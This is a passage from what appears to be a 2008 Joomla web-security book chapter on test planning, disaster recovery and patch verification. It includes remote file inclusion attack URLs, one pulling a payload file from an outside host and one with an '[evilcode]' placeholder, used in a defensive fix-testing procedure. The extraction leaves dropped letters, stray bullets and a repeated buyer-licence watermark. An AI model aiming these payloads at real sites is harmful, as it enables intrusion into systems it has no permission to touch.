Chapter 2
[ 47 ]
Developing Your Test Plan
This section will cover the development of your test plan, which in itself has
several aspects:
Determining what makes for a successful test
Overview of the test plan documentation
Establishing the parameters within which you will test
Dening the metrics with which you will collect data
Tracking bugs
Incident reporting and tracking
The purpose of the plan is no different than a road map; it directs you to your
destination. Just as you would carry a road map in your automobile for a trip to
somewhere unknown, you should develop a test plan. In our test plan or road map,
you will need to cover several items to ensure that you reach your destination.
Essential Parameters for a Successful Test
Purpose of This Test
Why are we testing? Have we upgraded and now we need to make sure it works?
Are we adding a brand new feature? Identify in your test plan the reason for the
test. If it is a simple patch, then testing for what was failing will be the purpose of
our test. Assume that you put in a major feature upgrade. Then you will need to
test for interoperability, backup and restore, user documentation, and potential user
training. This will spawn several sub-tasks.
What system(s) will be impacted?
The downstream effects of this may be small or large. In the case of an
upgrade, the developer is likely to have tested all the canned congurations,
and noted where something breaks because of the upgrade. Again, your
situation is unique and you are going to be running something that they
might not have tested the upgrade with. In a hypothetical conguration, you
could be running a Search Engine Friendly (SEF) tool that was not tested
with the upgrade of your core extension. After the upgrade, if all you test for

mode. Pay careful attention to scenarios that may involve multiple levels of
permissions. A recent example in my mind is one where a site incorporated
Community Builder, DOCMan, and a few other tools. The intent was to
have two levels of permissions to registered users, who are assigned various
permissions through DOCMan. This resulted in a number of unique combina-
tions that should have worked, but did not work. Designing the scenarios Up
Front to test with will save you time and potential trouble later on.
Tools (This can include a tracking tool, a code tool, a development
environment, and so on.)
All the items in this category will vary by site, by developer, and by personal
preference. The entire point here is identifying Up Front the tools needed
for this test or development effort. If you use a desktop, or a self-contained
version of Joomla! such as the Ravenswood server, and yet you do not take
into consideration the differences in its virtual host environment in relation to
your real host, you could open up a big, wide hole for exploits. To avoid this,
a package of tools can be downloaded at .
Change management process
You wake up Saturday morning to nd your site has been hacked. It's been
defaced by someone in the world just because your site was open. They
came in and tore it up. This happens every day. If you have to conduct a
change to prevent future attacks, then you need a change management
process. This can be a complex, unwieldy beast, or something as simple as a
one-page form. That is up to you as the site webmaster or owner. There are
many changes that happen to your site on a regular basis. It could be content
changes or patches, or it could be adding new features, or correcting
•
•
•
•
This material is copyright and is licensed for the sole use by Thomas Rosenblum on 4th December 2008

keep a mirror or working copy going.
Updating Your Disaster Recovery Documentation
One key piece of documentation is your disaster recovery plan. This will benet you
during an attack by having the correct recovery points in place.
•
•
°
°
°
°
°
This material is copyright and is licensed for the sole use by Thomas Rosenblum on 4th December 2008
1010 SW High Ave., , Topeka, , 66604
Test and Development
[ 50 ]
Imagine that you upgraded six vulenrable components. Then, the Brotherhood of
the website haters attacks your site and disables it. You pull out your plan, restore
your site, and then you get back online. By doing this, you may have restored
vulnerable components and created an even larger security headache.
If you follow this process to set up a test environment, the next logical conclusion
would be to update your plan.
Make DR Testing a Part of Your Upgrade/Rollout
Cycle
Here are a few tips to help you get started:
1. Take your baseline plan and craft your DR plan from it.
2. Test your DR plan often.
3. If you change a major component, or even upgrade one, locate and update all
DR documentation.
4. Test again.
5. Test your ability to back up AND your ability to restore the backup.

for an SQL injection attack. In our test case, we will take a serious injection instance,
such as the one mentioned in Chapter 1. We will test to see if the patch would allow
the commands that instruct the system to remove all the les, to work. If the x
worked as noted, then we're good. If not, then we are back to square one.
The steps for this portion of our test will be:
Design test
Run test case to determine a x
Note outcome
Repeat upon failure
This will produce the errors and omissions type documentation. This is where we
will note when we tested, which tester ran the test, what steps (exactly) it took to
conduct it.
Here is an instance of an attack that we may try:
?mosConfig_absolute_path=http://myhost/components/com_gcomponent
/sf.txt??
The le sf.txt, at the end of the line, will contain the payload that I will use. In a
current exploit being used on the Internet, the PHP Script attempts to gain valuable
information from the site.
My testing could use the payload of the attacker in a test environment, to determine
the x.
•
°
°
°
°
•
•
•
•
•

http://localhost/path/administrator/components/com_xxxxx/xxxxx
_functions.php?mosConfig_absolute_path=[evilcode]
As an example, if I were to write a simple set of instructions to test and correct, it
might look like the following:
Current situation: Our site www.localhost.com is running the now vulnerable
le, com_XXXXX, and as such we are exposed to a remote le inclusion attack.
This material is copyright and is licensed for the sole use by Thomas Rosenblum on 4th December 2008
1010 SW High Ave., , Topeka, , 66604
Chapter 2
[ 53 ]
Test Plan:
1. On testsvr1, edit the current com_xxxxx in line four of xxxxx_functions.php to
include this code:
($mosConfig_absolute_path.'/administrator/components/
com_XXXXX/xxxxx /xxxxx_core/xxxxx.inc.php');
2. From workstation01, run exploit and determine if we can put the evil code
package down to the system.
3. If our test is successful (meaning, we could not break in), then we will proceed
to documentation in step 6.
4. If our test fails, we will move to step 5.
5. Test site for errors and omissions:
Function 1
Function 2
Function 3
And so forth
Re-test
6. Document x and installation instructions.
7. Install on main site and test.
End test.
Again, this is only a sample set of steps that one could take. Using the tools

updates. Think through the example of the code that was vulnerable. Clearly, this is
an oversight on the part of the programmer. They would not have realized that they
left out that bit of secure code.
When you update your site, patch it, or develop your own extension, you are not
safe from making mistakes, missing a step, and so on. Think about rolling out
a large website project to a customer, only to nd that you had missed a critical
step in the documentation. One single step is all it takes to make a big difference
in the operational aspects of the site. This may seem like a small thing, one that is
easily brushed away in your and the customer's mind, but what if that same small
operational step was not detected and became vulnerable.
This is where the Lighthouse Tool can make a decent site or extension into one that
is professional, polished, and highly resistant to attack. Further, a good tool against
being attacked is documentation.
The reasoning behind good documentation is that it causes the writer to sit and think
through the process. It causes the mind to be stimulated into thinking and drawing
out other ideas that may be forgotten, and best of all, it keeps a record of things that
have gone wrong in the past.
This material is copyright and is licensed for the sole use by Thomas Rosenblum on 4th December 2008
1010 SW High Ave., , Topeka, , 66604
Chapter 2
[ 55 ]
This is the main screen for Lighthouse. The tabs along the top are the main guide
posts for the product. In this screenshot, we can see a few items important to
our project.
Summary: This refers to what is going on right now. We can see the number of
defects, new or open issues, should we track time when we can see we have approvals,
and so forth. One of the most important parts of this screenshot is the message:
There aren't any tasks currently behind schedule
At a glance, we can see that the project is up to speed and on time. This would be
important if you have multiple programmers, testers, and of course, for the client.